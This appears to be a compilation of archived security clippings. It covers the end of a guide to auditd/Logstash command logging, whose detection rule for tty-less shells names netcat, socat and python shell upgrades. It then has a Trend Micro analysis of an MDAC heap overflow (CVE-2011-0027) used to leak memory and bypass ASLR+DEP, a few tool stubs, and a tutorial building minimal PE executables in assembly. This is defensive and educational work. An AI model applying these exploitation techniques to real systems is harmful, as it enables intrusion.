                           convert[index] = 20  
                       end  
                       }  
                       outputJoin = convert.join()  
                       output = [outputJoin].pack('H*')  
                       command += output + " "  
                   end  
               end  
           end  
       end  
       # Save the output in the [command] field  
       event.set("command", command.chop)  
       return [event]  
    end
[/code]

We save the script in /etc/logstash/audit\_commands.rb and the source it in
something like /etc/logstash/conf.d/202-filter-custom.conf with

[code]

    if “auditd” in [decoder][name] {  
     ruby {path => “/etc/logstash/audit_command.rb”}  
    }
[/code]

After polishing your Kibana’s queries a bit, you can try to log into a test
server and run a test command. In my case, doing an ssh testuser@testserver01
and running “whoami” got me an output similar to this:

<img src='img/1*X_V2PZHkGjd15CoJEdVnpQ.png' width='576' height='255' />

Kibana visualization after some tuning

A couple of points to keep in mind with this approach:

1\) You’re probably gonna want to filter some commands. For example, logging
into a bash session through ssh will output about 16 syscalls, and if you’re
saving all this output, you can easily fill up a drive when you’re monitoring
a considerable number of instances \(in this case, over 10k\).

When bash initiates an interactive session, it has to perform some commands
before giving you a prompt. To give you a practical example, here’s the output
for the same instance as the previous picture \(testserver01\) without
filtering. You’re going to want to filter these with a rule.

<img src='img/1*bhdTqbnOxHOADokTrENrcA.png' width='576' height='227' />

Startup commands on ssh login

<img src='img/1*BDKP9bMFpN0gug_38D_xSA.png' width='576' height='511' />

Close up of the commands invoked at startup

2\) There are some very common commands which are not going to get logged.
These are bash built in functions. If you do an “echo test > testfile”, you’re
only going to see a call to bash, and no echo. This is due to the fact that
bash is not using the default binary \(/usr/bin/echo\) but rather the built in
function. This also happens with the cd command, which doesn’t matter a lot
since you’ll see the change in directory in the CWD variable. You can see a
list of all bash built in commands here:
http://manpages.ubuntu.com/manpages/bionic/man7/bash-builtins.7.html

3\) The ruby script only contemplates 100 arguments. Who would run a command
with over 100 arguments you ask? Well, when you go into a folder with a lot of
files, and you do something like a “ls \*.log” to filter them, the wildcard
gets expanded into every file ending in \*.log before calling ls. If for any
reason you need to get the full command, you should contemplate this.

4\) You should limit the size of the audit.log file to prevent possible DOS
attacks in which an attacker fills up your logging server’s space spamming
commands. Don’t forget to set up an alert with this event, so that you dont
only prevent these attacks, but also get notified when someone is doing them.

5\) The very verbose nature of auditd allows you to get A LOT of output from a
simple syscall. This includes, but is not restricted to: auid, uid, gid, euid,
suid, current directory, process id, parent process id, etc… This info is
easily parsed with logstash default plugins, and gives you a lot of tools to
write custom and very detailed alerts. It allows you to get creative.

One example I can give you is a custom rule that we wrote that allows you to
identify commands ran from a shell without an associated tty. Why is this
useful you ask? Well, if you’ve ever compromised a machine through a service
exploit, you’ll know that 90% of the times, you’re gonna get dropped in a
really rudimentary shell without an associated tty. This is because this
service wasn’t built with the idea of running shells as this user. Our happy
hypothetical hacker will usually elevate to a more comfortable shell with
python / socat / netcat or any other method that it chooses
\(https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-
ttys/\). The Phineas Phisher stty magic is my favorite one.

Our custom auditd rule will let you identify this type of events, monitoring
the following: first, a command with a service id \(typically id < 1000\).
Second, a command without an associated tty \(audit.tty=none\). This should
trigger one of the most severe alerts that your SOC should have.

As I mentioned before, this method of logging is far from perfect, and it
requires some tuning, but after that, you’ll be able to get to the granularity
level you choose, without being restricted to the information a third-party
tool might give you.

Lastly, this solution involves several technologies which I briefly explained.
This is by no means a comprehensive guide. Please see the references listed in
order to go deeper on a particular subject.

## From Infosec Writeups: A lot is coming up in the Infosec every day that
it’s hard to keep up with. Join our weekly newsletter to get all the latest
Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos
and tools, and 1 job alert for FREE\!

# Using Information Leakage to Avoid ASLR+DEP | Malware Blog | Trend Micro
**Created:**| _1/20/2011 11:48:47 AM_  
---|---  
**Updated:**| _1/20/2011 11:49:09 AM_  
**Author:**| __  
**Tags:**| _Exploit aslr Dep_  
  

Using Information Leakage to Avoid ASLR+DEP 1:23 am \(UTC-7\) | by Yuki Chen \(Threat Solution Engineer\)  
---  
Today, more and more exploit developers are using Return-Oriented-Programming
\(ROP\) techniques to bypass the Data Execution Prevention \(DEP\) feature in
recent versions of  _Windows_. In order to successfully launch an attack using
ROP, one must know the fixed base address of the targeted module. However,
Address Space Layout Randomization \(ASLR\), another security feature, makes
it more difficult for an attacker to predict target addresses by randomly
arranging the locations of key data areas.

There are several methods to bypass ASLR. For example, we have seen the use of
just-in-time \(JIT\) spray attack wherein the JIT compiler of  _Adobe Flash
Player_ was used to place large amounts of code in a system’s memory. We’ve
also seen DLLs that did not have ASLR enabled \(such as those associated with
Java or .NET\) targeting _Internet Explorer \(IE\) 8_ vulnerabilities in
_Windows 7._ Information leakage can also give the attacker some useful
information about the system’s memory layout, which can be used to bypass
ASLR. Today, let’s take a look at a recent proof-of-concept \(POC\) exploit
that uses both information leakage and ROP to bypass DEP+ASLR.

The original POC has already been published on the  _Exploit Database_ and has
been used to attack a known vulnerability in  _Windows._ This vulnerability
was fixed with the January 2011 Patch Tuesday \(see the Microsoft bulletin
_MS11-002\)._ It was designated as  _CVE-2011-0027_ and was discovered by
Peter Vreugdenhil. Together with a separate use-after-free vulnerability, it
defeated a fully patched  _Windows 7_ system running  _IE 8,_ which allowed
Vreugdenhil to win “Pwn2Own 2010.”

Although Vreugdenhil’s POC code was far from a reliable exploit, his idea of
using the vulnerability to leak information is still worth looking at.  
  
_**Analysis of the Vulnerability**_

Let’s first look at the vulnerability itself. It’s a heap overflow in
_Microsoft Data Access Components_. The vulnerability can be exploited via the
use of a malicious site. The simplest code to do so would look like this:

<img src='img/Temp2_8766.jpg' />

If you open the file with  _IE_ on a system without the patches mentioned in
_MS11-002,_ your system will crash.

The .HTML file accesses what is called an XML Data Island. This actually acts
as a database interface. The underlying object is an  _MSAdo_ object. A
_RecordSet_ object can be used to manipulate the XML data.  _RecordSet_
objects have a property called  _CacheSize,_ which indicates the size of a
cache that stores the old rows that have been visited. For example, if the
code visits the eighth row first then visits the first row,  _8_ will be
stored in this cache.

Changing the  _CacheSize_ of a  _RecordSet_ has one effect. New memory for the
cache buffer will be allocated with the allocation size calculated based on
_CacheSize:__Allocation Size_ =  _\(CacheSize_ \* 4\) + 4. Both are stored as
32-bit unsigned numbers. Therefore, if the  _CacheSize_ is very large, the
resulting value will be larger than the variable can store. Therefore, the
amount of allocated space will be much smaller than intended. The system will,
however, continue to think it has allocated enough memory for the new
_CacheSize_.

Let’s examine the code above in a debugger to make it clearer. The command
_localxmlid1.CacheSize = 0×40000358_ changes the allocated cache size. To the
debugger, we are now here:

<img src='img/Temp2_8769.jpg' />

_esi=0×40000358_ is the new cache size. It is stored in the memory location
offset  _0x10C_ from the  _CRecordSet_ object. However, the actual allocation
occurs here:

<img src='img/Temp2_8767.jpg' />

Here,  _eax=0×40000358,_ which is the new  _CacheSize,_ is first multiplied by
four, after which, four is added to the result. The final result is used as
the actual allocation size and passed to  _MpHeapAlloc._

Let’s do the math. \(0×40000358\*4\) + 4 = 0x100000D64. This is more than a
32-bit unsigned integer can store so only the least significant digits are
stored: 0xD64, which is too small for the purpose.

Let’s continue the trace. The base address allocated for the cache buffer is
0x021112a8. Remember that it’s very small, only 0xD64 bytes. However, each
execution of the for-do loop causes a 4-byte row number to be written to the
cache buffer. This rapidly causes a buffer overflow, as we can see below. Note
how the overflow consists of continuous row numbers:

<img src='img/Temp2_8771.jpg' />

**_Using the Vulnerability to Read Memory_**

If attackers can directly read key memory blocks, it will be possible for them
to figure out the current layout of system’s memory \(e.g., via  _VTables_ or
OS data structures\). This is what ASLR is supposed to prevent.

Most of the time, remote attackers do not have the capability to examine the
contents of the user system’s memory as much as they would like. However,
Vreugdenhil used the heap overflow vulnerability discussed above to do exactly
that. While we won’t discuss the full details of the exploit we can explain
the key idea behind it.

First, allocate a string with JavaScript code. Next, use the heap overflow
vulnerability to overwrite the terminator \(two 0 bytes\) of the string. If
the attackers access the string again, the system will not see the terminator
and memory beyond the original string will be read. We will explain this
below.

Strings are stored this way in memory—the first 4 bytes is the length of the
string \(in bytes\), followed by the characters’ value, and the 2-byte null
terminator. So if we declare a string with the statement “var s = ‘AA’,” the
memory layout string will look like this:

<img src='img/Temp2_8770.jpg' />

The ‘B’s here represent additional code in memory. Normally accessing the
value of the first string gets only the intended value ‘AA.’ However, if we
can overflow the terminator of the first string with row numbers, the memory
will look like this. For the purposes of this example, the row number starts
at 0×10120:

<img src='img/Temp2_8768.jpg' />

Careful examination of the code after the original string can be used to
discover information that can be used for further exploitation.

# softpixel project trove :: MemCheckDeluxe

**Created:**| _5/27/2009 2:46:18 PM_  
---|---  
**Updated:**| _5/27/2009 2:46:37 PM_  
**Author:**| __  
**Tags:**| _Exploit programming_  
  
| | | MemCheckDeluxe is a memory tracking program that allows one to find where programs and libraries leak memory. It also tracks the largest and smallest allocations, as well as the program's maximum memory usage.   
---  
| | **Documentation**  
---  
|

  * README
  * INSTALL
  * CHANGELOG

  
---

# Using IDA's GDB debugger with QEMU emulator

**Created:**| _1/1/2010 1:54:17 PM_  
---|---  
**Updated:**| _1/1/2010 1:54:45 PM_  
**Author:**| __  
**Tags:**| _bookmark iDA reversing Tutorials_  
  
<img src='img/Temp2_8764' />

# JonathanSalwan/Triton

**Created:**| _6/3/2015 11:52:05 AM_  
---|---  
**Updated:**| _6/3/2015 11:52:05 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification symbolic exec_  
  

# JonathanSalwan/Triton

Concolic execution framework based on Pin. It provides components like a taint
engine, a dynamic symbolic execution engine, a snapshot engine, translation of
x64 instruction into SMT2-LIB, a Z3 interface to solve constraints and Python
bindings. Based on these components, you can build tools for automated reverse
engineering.

# Tiny PE

**Created:**| _3/6/2010 9:35:54 PM_  
---|---  
**Updated:**| _3/6/2010 9:36:03 PM_  
**Author:**| __  
**Tags:**| _windows security security tools windows reversing_  
  

solareclipse at phreedom dot org

index

Translations: português brasileiro

## Tiny PE

### Creating the smallest possible PE executable

This work was inspired by the Tiny PE challenge by Gil Dabah. The object of
the challenge was to write the smallest PE file that downloads a file from the
Internet and executes it.

In the process of writing increasingly smaller PE files for the challenge I
learned a lot of interesting details about the PE file format and the Windows
loader. The goal of this document is to preserve this knowledge for future
reference. In this, I have followed the example of the famous Whirlwind
Tutorial on Creating Really Teensy ELF Executables for Linux.

### Summary

If you are too busy to read the entire page, here is a summary of the results:

  * Smallest possible PE file: 97 bytes
  * Smallest possible PE file on Windows 2000: 133 bytes
  * Smallest PE file that downloads a file over WebDAV and executes it: 133 bytes

The files above are the smallest possible PE files due to requirements of the
PE file format and cannot be improved further. Take this as a challenge if you
wish ;-\)

**UPDATE:** Many before me had made similar claims and just like them I turned
out to be wrong. Thanks to Peter Ferrie for pointing out that you can remove
the last field from the 137 byte file and bring the file size down to 133
bytes.

You can also download an archive with all source code and executables from
this page:

  * tinype.zip \(GPG .sig\)

For details about how these results were achieved, read below.

## Smallest possible PE file

Our first task will be to build the smallest possible PE file that can be
loaded and executed by Windows. We'll start with a simple C program:

#### Compiling a simple C program

[code]

    int main()
    {
        return 42;
    }
    
    
[/code]

We'll compile and link this program with Visual Studio 2005:

[code]

    cl /nologo /c tiny.c
    link /nologo tiny.obj
    
    
[/code]

The resulting file size is **45056** bytes. This is clearly unacceptable.

tiny.c | tiny.exe | dumpbin | Makefile
#### Removing the C Runtime Library

A very large part of the binary consists of the C Runtime Library. If we link
the same program with the /NODEFAULTLIB option, we'll get a much smaller
output file. We will also remove the console window from the program by
setting the subsystem to Win32 GUI.

[code]

    cl /nologo /c /O1 tiny.c
    link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS tiny.obj
    
    
[/code]

The /O1 compiler option optimizes the code for size. A disassembly of the
.text section shows that main function was optimized down to 4 bytes:

[code]

    00401000: 6A 2A              push        2Ah
    00401002: 58                 pop         eax
    00401003: C3                 ret
    
    
[/code]

The size of the PE file is now **1024** bytes.

tiny.c | tiny.exe | dumpbin | Makefile
#### Decreasing the file alignment

If we look at the dumpbin output for the 1024 byte file, we'll see that the
file alignment is set to 512 bytes. The contents of the .text section start at
offset 0x200 in the file. The space between the header and the .text section
is filled with zeros.

The official PE specification states that the minimim file alignment is 512,
but the Microsoft linker can produce PE files with smaller alignment. The
Windows loader ignores the invalid alignment and is able to execute the file.

[code]

    cl /c /O1 tiny.c
    link /nologo /ENTRY:main /NODEFAULTLIB /SUBSYSTEM:WINDOWS /ALIGN:1 tiny.obj
    
    
[/code]

The size of the PE file is now **468** bytes.

tiny.c | tiny.exe | dumpbin | Makefile
#### Switching to assembly and removing the DOS stub

To shrink the file even further, we need to be able to edit all fields in the
PE header. We'll disassemble our 468 byte C program and convert it to assembly
source that can be assembled with NASM. We'll use the following command to
build our PE file:

[code]

    nasm -f bin -o tiny.exe tiny.asm
    
    
[/code]

The only change we'll make is to remove the DOS stub that prints the message
This program cannot be run in DOS mode. PE files still need an MZ header, but
the only two fields that are used are e\_magic and e\_lfanew. We can fill the
rest of the MZ header with zeros. Similarly, there are many other unused
fields in the PE header that can be modified without breaking the program. In
the source code below they are highlighted in red.

For a detailed description of the PE file format, please refer to the official
specification from Microsoft and Matt Pietrek's  _An In-Depth Look into the
Win32 Portable Executable File Format_ : Part 1 and Part 2.

[code]

    ; tiny.asm
    
    BITS 32
    
    ;
    ; MZ header
    ;
    ; The only two fields that matter are e_magic and e_lfanew
    
    mzhdr:
        dw "MZ"                       ; e_magic
        dw 0                          ; e_cblp UNUSED
        dw 0                          ; e_cp UNUSED
        dw 0                          ; e_crlc UNUSED
        dw 0                          ; e_cparhdr UNUSED
        dw 0                          ; e_minalloc UNUSED
        dw 0                          ; e_maxalloc UNUSED
        dw 0                          ; e_ss UNUSED
        dw 0                          ; e_sp UNUSED
        dw 0                          ; e_csum UNUSED
        dw 0                          ; e_ip UNUSED
        dw 0                          ; e_cs UNUSED
        dw 0                          ; e_lsarlc UNUSED
        dw 0                          ; e_ovno UNUSED
        times 4 dw 0                  ; e_res UNUSED
        dw 0                          ; e_oemid UNUSED
        dw 0                          ; e_oeminfo UNUSED
        times 10 dw 0                 ; e_res2 UNUSED
        dd pesig                      ; e_lfanew
    
    ;
    ; PE signature
    ;
    
    pesig:
        dd "PE"
    
    ;
    ; PE header
    ;
    
    pehdr:
        dw 0x014C                     ; Machine (Intel 386)
        dw 1                          ; NumberOfSections
        dd 0x4545BE5D                 ; TimeDateStamp UNUSED
        dd 0                          ; PointerToSymbolTable UNUSED
        dd 0                          ; NumberOfSymbols UNUSED
        dw opthdrsize                 ; SizeOfOptionalHeader
        dw 0x103                      ; Characteristics (no relocations, executable, 32 bit)
    
    ;
    ; PE optional header
    ;
    
    filealign equ 1
    sectalign equ 1
    
    %define round(n, r) (((n+(r-1))/r)*r)
    
    opthdr:
        dw 0x10B                      ; Magic (PE32)
        db 8                          ; MajorLinkerVersion UNUSED
        db 0                          ; MinorLinkerVersion UNUSED
        dd round(codesize, filealign) ; SizeOfCode UNUSED
        dd 0                          ; SizeOfInitializedData UNUSED
        dd 0                          ; SizeOfUninitializedData UNUSED
        dd start                      ; AddressOfEntryPoint
        dd code                       ; BaseOfCode UNUSED
        dd round(filesize, sectalign) ; BaseOfData UNUSED
        dd 0x400000                   ; ImageBase
        dd sectalign                  ; SectionAlignment
        dd filealign                  ; FileAlignment
        dw 4                          ; MajorOperatingSystemVersion UNUSED
        dw 0                          ; MinorOperatingSystemVersion UNUSED
        dw 0                          ; MajorImageVersion UNUSED
        dw 0                          ; MinorImageVersion UNUSED
        dw 4                          ; MajorSubsystemVersion
        dw 0                          ; MinorSubsystemVersion UNUSED
        dd 0                          ; Win32VersionValue UNUSED
        dd round(filesize, sectalign) ; SizeOfImage
        dd round(hdrsize, filealign)  ; SizeOfHeaders
        dd 0                          ; CheckSum UNUSED
        dw 2                          ; Subsystem (Win32 GUI)
        dw 0x400                      ; DllCharacteristics UNUSED
        dd 0x100000                   ; SizeOfStackReserve UNUSED
        dd 0x1000                     ; SizeOfStackCommit
        dd 0x100000                   ; SizeOfHeapReserve
        dd 0x1000                     ; SizeOfHeapCommit UNUSED
        dd 0                          ; LoaderFlags UNUSED
        dd 16                         ; NumberOfRvaAndSizes UNUSED
    
    ;
    ; Data directories
    ;
    
        times 16 dd 0, 0
    
    opthdrsize equ $ - opthdr
    
    ;
    ; PE code section
    ;
    
        db ".text", 0, 0, 0           ; Name
        dd codesize                   ; VirtualSize
        dd round(hdrsize, sectalign)  ; VirtualAddress
        dd round(codesize, filealign) ; SizeOfRawData
        dd code                       ; PointerToRawData
        dd 0                          ; PointerToRelocations UNUSED
        dd 0                          ; PointerToLinenumbers UNUSED
        dw 0                          ; NumberOfRelocations UNUSED
        dw 0                          ; NumberOfLinenumbers UNUSED
        dd 0x60000020                 ; Characteristics (code, execute, read) UNUSED
    
    hdrsize equ $ - $$
    
    ;
    ; PE code section data
    ;
    
    align filealign, db 0
    
    code:
    
    ; Entry point
    
    start:
        push byte 42
        pop eax
        ret
    
    codesize equ $ - code
    
    filesize equ $ - $$
    
    
[/code]

To find out which fields are used and which can be freely modified, we used a
simple asm fuzzer written in Ruby. It iterates through all header fields in
the assembly source and replaces them with semi-random values. If the
resulting program crashes or fails to return 42, we conclude that the field is
in use.

The size of the assembled PE file is now **356** bytes.

tiny.asm | tiny.exe | dumpbin | Makefile
#### Collapsing the MZ header

The e\_lfanew field in the MZ header contains the offset of the PE header from
the beginning of the file. Usually the PE header begins after the MZ header
and the DOS stub, but if we set e\_lfanew to a value smaller than the 0x40,
the PE header will start inside the MZ header. This allows us to merge some of
the data of the MZ and PE headers and produce a smaller file.

The PE header cannot start at offset 0, because we need the first two bytes of
the file to be "MZ". According to the PE specification, the PE header must be
aligned on a 8 byte boundary, but the Windows loader requires only a 4 byte
alignment. This means that the smallest possible value for e\_lfanew is 4.

If the PE header starts at offset 4, most of it will overwrite unused fields
in the MZ header. The only field we need to be careful with is e\_lfanew,
which is at the same offset as SectionAlignment. Since e\_lfanew must be 4, we
have to set SectionAlignment to 4 as well. The PE specification says that if
the section alignment is less than the page size, the file alignment must have
the same value, so we have to set both SectionAlignment and FileAlignment to
4. Fortunately the section data in our PE file is already aligned on a 4 byte
boundary, so changing the file alignment from 1 to 4 doesn't increase the file
size.

[code]

    ;
    ; MZ header
    ;
    ; The only two fields that matter are e_magic and e_lfanew
    
    mzhdr:
        dw "MZ"       ; e_magic
        dw 0          ; e_cblp UNUSED
    
    ;
    ; PE signature
    ;
    
    pesig:
        dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature
    
    ;
    ; PE header
    ;
    
    pehdr:
        dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
        dw 1          ; e_minalloc UNUSED         ; NumberOfSections
        dd 0x4545BE5D ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED
        dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
        dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
        dw opthdrsize ; e_lsarlc UNUSED           ; SizeOfOptionalHeader
        dw 0x103      ; e_ovno UNUSED             ; Characteristics
    
    ;
    ; PE optional header
    ;
    
    filealign equ 4
    sectalign equ 4   ; must be 4 because of e_lfanew
    
    %define round(n, r) (((n+(r-1))/r)*r)
    
    opthdr:
        dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
        db 8                                      ; MajorLinkerVersion UNUSED
        db 0                                      ; MinorLinkerVersion UNUSED
        dd round(codesize, filealign)             ; SizeOfCode UNUSED
        dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
        dd 0          ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED
        dd start                                  ; AddressOfEntryPoint
        dd code                                   ; BaseOfCode UNUSED
        dd round(filesize, sectalign)             ; BaseOfData UNUSED
        dd 0x400000                               ; ImageBase
        dd sectalign  ; e_lfanew                  ; SectionAlignment
    
    
[/code]

Collapsing the MZ header reduces the file size to **296** bytes.

tiny.asm | tiny.exe | dumpbin | Makefile
#### Removing the data directories

The data directories at the end of the PE optional header usually contain
pointers to the import and export tables, debugging information, relocations
and other OS specific data. Our PE file doesn't use any of these features and
its data directories are empty. If we can remove the data directories from the
file, we'll save a lot of space.

The PE specification says that the number of data directories is specified in
the NumberOfRvaAndSizes header field and the size of the PE optional header is
variable. If we set NumberOfRvaAndSizes to 0 and decrease
SizeOfOptionalHeader, we can remove the data directories from the file.

[code]

        dd 0                                      ; NumberOfRvaAndSizes
    
    
[/code]

Most functions that read the data directories check if NumberOfRvaAndSizes is
large enough to avoid accessing invalid memory. The only exception is the
Debug directory on Windows XP. If the size of the Debug directory is not 0,
regardless of NumberOfRvaAndSizes, the loader will crash with an access
violation in ntdll\!LdrpCheckForSecuROMImage. We need to ensure that the dword
at offset 0x94 from the beginning of the optional header is always 0. In our
PE file this address is outside the memory mapped file and is zeroed by the
OS.

The size of the PE file is only **168** bytes, a significant improvement.

tiny.asm | tiny.exe | dumpbin | Makefile
#### Collapsing the PE section header

The Windows loader expects to find the PE section headers after the optional
header. It calculates the address of the first section header by adding
SizeOfOptionalHeader to the beginning of the optional header. However, the
code that accesses the fields of the optional header never checks its size. We
can set SizeOfOptionalHeader to a value smaller than the real size, and move
the PE section into the unused space in the optional header. This is
illustrated by the code below:

[code]

        dw sections-opthdr ; e_lsarlc UNUSED      ; SizeOfOptionalHeader
        dw 0x103      ; e_ovno UNUSED             ; Characteristics
    
    ;
    ; PE optional header
    ;
    ; The debug directory size at offset 0x94 from here must be 0
    
    filealign equ 4
    sectalign equ 4   ; must be 4 because of e_lfanew
    
    %define round(n, r) (((n+(r-1))/r)*r)
    
    opthdr:
        dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
        db 8                                      ; MajorLinkerVersion UNUSED
        db 0                                      ; MinorLinkerVersion UNUSED
    
    ;
    ; PE code section
    ;
    
    sections:
        dd round(codesize, filealign)             ; SizeOfCode UNUSED                  ; Name UNUSED
        dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
        dd codesize   ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED     ; VirtualSize
        dd start                                  ; AddressOfEntryPoint                ; VirtualAddress
        dd codesize                               ; BaseOfCode UNUSED                  ; SizeOfRawData
        dd start                                  ; BaseOfData UNUSED                  ; PointerToRawData
        dd 0x400000                               ; ImageBase                          ; PointerToRelocations UNUSED
        dd sectalign  ; e_lfanew                  ; SectionAlignment                   ; PointerToLinenumbers UNUSED
        dd filealign                              ; FileAlignment                      ; NumberOfRelocations, NumberOfLinenumbers UNUSED
        dw 4                                      ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
        dw 0                                      ; MinorOperatingSystemVersion UNUSED
        dw 0                                      ; MajorImageVersion UNUSED
        dw 0                                      ; MinorImageVersion UNUSED
        dw 4                                      ; MajorSubsystemVersion
        dw 0                                      ; MinorSubsystemVersion UNUSED
        dd 0                                      ; Win32VersionValue UNUSED
        dd round(filesize, sectalign)             ; SizeOfImage
        dd round(hdrsize, filealign)              ; SizeOfHeaders
        dd 0                                      ; CheckSum UNUSED
        dw 2                                      ; Subsystem (Win32 GUI)
        dw 0x400                                  ; DllCharacteristics UNUSED
        dd 0x100000                               ; SizeOfStackReserve
        dd 0x1000                                 ; SizeOfStackCommit
        dd 0x100000                               ; SizeOfHeapReserve
        dd 0x1000                                 ; SizeOfHeapCommit UNUSED
        dd 0                                      ; LoaderFlags UNUSED
        dd 0                                      ; NumberOfRvaAndSizes UNUSED
    
    hdrsize equ $ - $$
    
    ;
    ; PE code section data
    ;
    
    align filealign, db 0
    
    ; Entry point
    
    start:
        push byte 42
        pop eax
        ret
    
    codesize equ $ - start
    
    filesize equ $ - $$
    
    
[/code]

This kind of header mangling causes dumpbin to crash, but the WinDbg \!dh
command can still parse the header correctly. The size of the PE file is now
**128** bytes.

tiny.asm | tiny.exe | Makefile
#### The smallest possible PE file

The next step is obvious: we can move the 4 bytes of code into one of the
unused fields of the header, such as the TimeDateStamp field. This leaves the
end of optional header at the end of the PE file. It looks like we can't
reduce the file size any further, because the PE header starts at the smallest
possible offset and has a fixed size. It is followed by the PE optional
header, which also starts at the smallest offset possible. All other data in
the file is contained within these two headers.

Yet there is one more thing we can do. The PE file is mapped on a 4KB memory
page. Since the file is smaller than 4KB, the rest of the page is filled with
zeros. If we remove the last few fields of the PE optional header from the
file, the end of the structure will be mapped on a readable page of memory
containing zeros. 0 is a valid value for the last seven fields of the optional
header, allowing us to remove them and save another 26 bytes.

The last word in the file is the Subsystem field, which must be 2. Since Intel
is a little-endian architecture, the first byte of the word is 2 and the
second one is 0. We can store the field as a single byte in the file and save
an additional byte from the file size.

The full source code of the final PE file is given below:

[code]

    ; tiny.asm
    
    BITS 32
    
    ;
    ; MZ header
    ;
    ; The only two fields that matter are e_magic and e_lfanew
    
    mzhdr:
        dw "MZ"       ; e_magic
        dw 0          ; e_cblp UNUSED
    
    ;
    ; PE signature
    ;
    
    pesig:
        dd "PE"       ; e_cp, e_crlc UNUSED       ; PE signature
    
    ;
    ; PE header
    ;
    
    pehdr:
        dw 0x014C     ; e_cparhdr UNUSED          ; Machine (Intel 386)
        dw 1          ; e_minalloc UNUSED         ; NumberOfSections
    
    ;   dd 0xC3582A6A ; e_maxalloc, e_ss UNUSED   ; TimeDateStamp UNUSED
    
    ; Entry point
    
    start:
        push byte 42
        pop eax
        ret
    
    codesize equ $ - start
    
        dd 0          ; e_sp, e_csum UNUSED       ; PointerToSymbolTable UNUSED
        dd 0          ; e_ip, e_cs UNUSED         ; NumberOfSymbols UNUSED
        dw sections-opthdr ; e_lsarlc UNUSED      ; SizeOfOptionalHeader
        dw 0x103      ; e_ovno UNUSED             ; Characteristics
    
    ;
    ; PE optional header
    ;
    ; The debug directory size at offset 0x94 from here must be 0
    
    filealign equ 4
    sectalign equ 4   ; must be 4 because of e_lfanew
    
    %define round(n, r) (((n+(r-1))/r)*r)
    
    opthdr:
        dw 0x10B      ; e_res UNUSED              ; Magic (PE32)
        db 8                                      ; MajorLinkerVersion UNUSED
        db 0                                      ; MinorLinkerVersion UNUSED
    
    ;
    ; PE code section
    ;
    
    sections:
        dd round(codesize, filealign)             ; SizeOfCode UNUSED                  ; Name UNUSED
        dd 0          ; e_oemid, e_oeminfo UNUSED ; SizeOfInitializedData UNUSED
        dd codesize   ; e_res2 UNUSED             ; SizeOfUninitializedData UNUSED     ; VirtualSize
        dd start                                  ; AddressOfEntryPoint                ; VirtualAddress
        dd codesize                               ; BaseOfCode UNUSED                  ; SizeOfRawData
        dd start                                  ; BaseOfData UNUSED                  ; PointerToRawData
        dd 0x400000                               ; ImageBase                          ; PointerToRelocations UNUSED
        dd sectalign  ; e_lfanew                  ; SectionAlignment                   ; PointerToLinenumbers UNUSED
        dd filealign                              ; FileAlignment                      ; NumberOfRelocations, NumberOfLinenumbers UNUSED
        dw 4                                      ; MajorOperatingSystemVersion UNUSED ; Characteristics UNUSED
        dw 0                                      ; MinorOperatingSystemVersion UNUSED
        dw 0                                      ; MajorImageVersion UNUSED
        dw 0                                      ; MinorImageVersion UNUSED
        dw 4                                      ; MajorSubsystemVersion
        dw 0                                      ; MinorSubsystemVersion UNUSED
        dd 0                                      ; Win32VersionValue UNUSED
        dd round(hdrsize, sectalign)+round(codesize,sectalign) ; SizeOfImage
        dd round(hdrsize, filealign)              ; SizeOfHeaders
        dd 0                                      ; CheckSum UNUSED
        db 2                                      ; Subsystem (Win32 GUI)
    
    hdrsize equ $ - $$
    
    filesize equ $ - $$
    
    
[/code]

Now we have really reached the limit. The field at offset 0x94 from the
beginning of the file is Subsystem, which must be set to 2. We cannot remove
this field or get around it. This must be the smallest possible PE file.

The size of the PE file is an incredible **97** bytes.

tiny.asm | tiny.exe | Makefile
## Smallest PE file with imports

Unfortunately the 97 byte PE file does not work on Windows 2000. This is
because the loader tries to call a function from KERNEL32, but KERNEL32.DLL is
not loaded. All other versions of Windows load it automatically, but on
Windows 2000 we have to make sure that KERNEL32.DLL is listed in the import
table of the executable. Executing a PE file with no imports is not possible.

#### Adding an import table

The structure of the import table is complicated, but adding a single ordinal
import from KERNEL32 is relatively simple. We need to put the name of the DLL
we want to import in the Name field and create two identical arrays of
IMAGE\_THUNK\_DATA structures, one for the Import Lookup Table and another one
for the Import Address Table. When the loader resolves the imports, it will
read the ordinal from the lookup table and replace the entry in the address
table with the function address.

[code]

        dd 2                                      ; NumberOfRvaAndSizes
    
    ;
    ; Data directories
    ;
    ; The debug directory size at offset 0x34 from here must be 0
    
        dd 0                                      ; Export Table UNUSED
        dd 0
        dd idata                                  ; Import Table
        dd idatasize
    
    hdrsize equ $ - $$
    
    ; Import table (array of IMAGE_IMPORT_DESCRIPTOR structures)
    
    idata:
        dd ilt                                    ; OriginalFirstThunk UNUSED
        dd 0                                      ; TimeDateStamp UNUSED
        dd 0                                      ; ForwarderChain UNUSED
        dd kernel32                               ; Name
        dd iat                                    ; FirstThunk
    
        ; empty IMAGE_IMPORT_DESCRIPTOR structure
    
        dd 0                                      ; OriginalFirstThunk UNUSED
        dd 0                                      ; TimeDateStamp UNUSED
        dd 0                                      ; ForwarderChain UNUSED
        dd 0                                      ; Name UNUSED
        dd 0                                      ; FirstThunk
    
    idatasize equ $ - idata
    
    ; Import address table (array of IMAGE_THUNK_DATA structures)
    
    iat:
        dd 0x80000001                             ; Import function 1 by ordinal
        dd 0
    
    ; Import lookup table (array of IMAGE_THUNK_DATA structures)
    
    ilt:
        dd 0x80000001                             ; Import function 1 by ordinal
        dd 0
    
    kernel32:
        db "KERNEL32.dll", 0
    
    codesize equ $ - start
    
    filesize equ $ - $$
    
    
[/code]

With a single ordinal import the size of our PE file incresed to **209**
bytes.

tiny.asm | tiny.exe | Makefile
